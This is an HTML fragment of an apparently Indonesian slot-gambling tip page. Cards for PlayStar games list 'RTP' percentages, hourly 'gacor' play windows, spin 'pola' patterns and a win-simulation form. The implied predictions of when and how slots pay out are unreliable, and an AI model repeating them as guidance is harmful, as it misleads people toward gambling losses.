            <div class="pola-slot" id="pola-slot-30">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 9</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 35</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-30" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(30)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-30" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-30" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(30)">Simulasikan</button>
                  <div id="simulasi-result-30" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00091.png" alt="Super Powerful">
         <div class="game-title">Super Powerful</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-31" style="width: 56%;"></div>
            <div class="progress-bar-text" id="rtp-text-31">56%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(31)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-31">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-31">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 38</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 23</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 6</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-31" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(31)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-31" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-31" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(31)">Simulasikan</button>
                  <div id="simulasi-result-31" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00092.png" alt="Tomb Treasure">
         <div class="game-title">Tomb Treasure</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-32" style="width: 32%;"></div>
            <div class="progress-bar-text" id="rtp-text-32">32%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(32)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-32">23:29 WIB - 00:29 WIB</span></p>
            <div class="pola-slot" id="pola-slot-32">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 9</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 16</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-32" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(32)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-32" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-32" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(32)">Simulasikan</button>
                  <div id="simulasi-result-32" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00093.png" alt="Love">
         <div class="game-title">Love</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-33" style="width: 86%;"></div>
            <div class="progress-bar-text" id="rtp-text-33">86%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(33)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-33">23:29 WIB - 00:29 WIB</span></p>
            <div class="pola-slot" id="pola-slot-33">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 37</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-33" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(33)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-33" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-33" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(33)">Simulasikan</button>
                  <div id="simulasi-result-33" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00094.png" alt="Ps Club">
         <div class="game-title">Ps Club</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-34" style="width: 76%;"></div>
            <div class="progress-bar-text" id="rtp-text-34">76%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(34)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-34">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-34">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 17</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-34" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(34)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-34" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-34" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(34)">Simulasikan</button>
                  <div id="simulasi-result-34" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00095.png" alt="Hand Of God">
         <div class="game-title">Hand Of God</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-35" style="width: 55%;"></div>
            <div class="progress-bar-text" id="rtp-text-35">55%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(35)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-35">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-35">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 29</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-35" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(35)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-35" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-35" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(35)">Simulasikan</button>
                  <div id="simulasi-result-35" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00096.png" alt="Fortune Bull">
         <div class="game-title">Fortune Bull</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-36" style="width: 68%;"></div>
            <div class="progress-bar-text" id="rtp-text-36">68%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(36)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-36">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-36">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-36" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(36)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-36" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-36" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(36)">Simulasikan</button>
                  <div id="simulasi-result-36" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00099.png" alt="Challengeã»mayan Calendar">
         <div class="game-title">Challengeã»mayan Calendar</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-37" style="width: 74%;"></div>
            <div class="progress-bar-text" id="rtp-text-37">74%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(37)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-37">23:27 WIB - 00:27 WIB</span></p>
            <div class="pola-slot" id="pola-slot-37">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-37" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(37)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-37" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-37" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(37)">Simulasikan</button>
                  <div id="simulasi-result-37" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00100.png" alt="Zuma">
         <div class="game-title">Zuma</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-38" style="width: 25%;"></div>
            <div class="progress-bar-text" id="rtp-text-38">25%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(38)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-38">23:23 WIB - 00:23 WIB</span></p>
            <div class="pola-slot" id="pola-slot-38">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-38" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(38)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-38" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-38" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(38)">Simulasikan</button>
                  <div id="simulasi-result-38" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00101.png" alt="Challengeã»fu Lu Shou Xi">
         <div class="game-title">Challengeã»fu Lu Shou Xi</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-39" style="width: 60%;"></div>
            <div class="progress-bar-text" id="rtp-text-39">60%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(39)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-39">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-39">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 44</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 14</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 28</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-39" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(39)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-39" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-39" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(39)">Simulasikan</button>
                  <div id="simulasi-result-39" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00102.png" alt="Golden Week">
         <div class="game-title">Golden Week</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-40" style="width: 23%;"></div>
            <div class="progress-bar-text" id="rtp-text-40">23%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(40)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-40">23:29 WIB - 00:29 WIB</span></p>
            <div class="pola-slot" id="pola-slot-40">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-40" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(40)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-40" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-40" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(40)">Simulasikan</button>
                  <div id="simulasi-result-40" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00104.png" alt="Kungfu">
         <div class="game-title">Kungfu</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-41" style="width: 55%;"></div>
            <div class="progress-bar-text" id="rtp-text-41">55%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(41)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-41">23:29 WIB - 00:29 WIB</span></p>
            <div class="pola-slot" id="pola-slot-41">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 38</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-41" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(41)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-41" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-41" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(41)">Simulasikan</button>
                  <div id="simulasi-result-41" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00105.png" alt="Challengeã»golden Pig">
         <div class="game-title">Challengeã»golden Pig</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-42" style="width: 85%;"></div>
            <div class="progress-bar-text" id="rtp-text-42">85%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(42)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-42">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-42">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 39</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 39</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-42" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(42)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-42" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-42" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(42)">Simulasikan</button>
                  <div id="simulasi-result-42" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00106.png" alt="Wu Xia">
         <div class="game-title">Wu Xia</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-43" style="width: 68%;"></div>
            <div class="progress-bar-text" id="rtp-text-43">68%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(43)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-43">23:27 WIB - 00:27 WIB</span></p>
            <div class="pola-slot" id="pola-slot-43">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 8</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 14</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-43" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(43)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-43" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-43" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(43)">Simulasikan</button>
                  <div id="simulasi-result-43" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00107.png" alt="Super Boom">
         <div class="game-title">Super Boom</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-44" style="width: 57%;"></div>
            <div class="progress-bar-text" id="rtp-text-44">57%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(44)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-44">23:30 WIB - 00:30 WIB</span></p>
            <div class="pola-slot" id="pola-slot-44">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 33</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 9</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 25</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-44" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(44)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-44" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-44" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(44)">Simulasikan</button>
                  <div id="simulasi-result-44" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00108.png" alt="Rat Of Wealth">
         <div class="game-title">Rat Of Wealth</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-45" style="width: 85%;"></div>
            <div class="progress-bar-text" id="rtp-text-45">85%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(45)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-45">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-45">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 11</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 41</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-45" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(45)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-45" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-45" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(45)">Simulasikan</button>
                  <div id="simulasi-result-45" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00110.png" alt="Master Haha">
         <div class="game-title">Master Haha</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-46" style="width: 39%;"></div>
            <div class="progress-bar-text" id="rtp-text-46">39%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(46)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-46">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-46">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 16</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 36</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-46" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(46)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-46" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-46" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(46)">Simulasikan</button>
                  <div id="simulasi-result-46" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00111.png" alt="Da Fu Gui">
         <div class="game-title">Da Fu Gui</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-47" style="width: 91%;"></div>
            <div class="progress-bar-text" id="rtp-text-47">91%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(47)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-47">23:23 WIB - 00:23 WIB</span></p>
            <div class="pola-slot" id="pola-slot-47">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 28</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 11</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
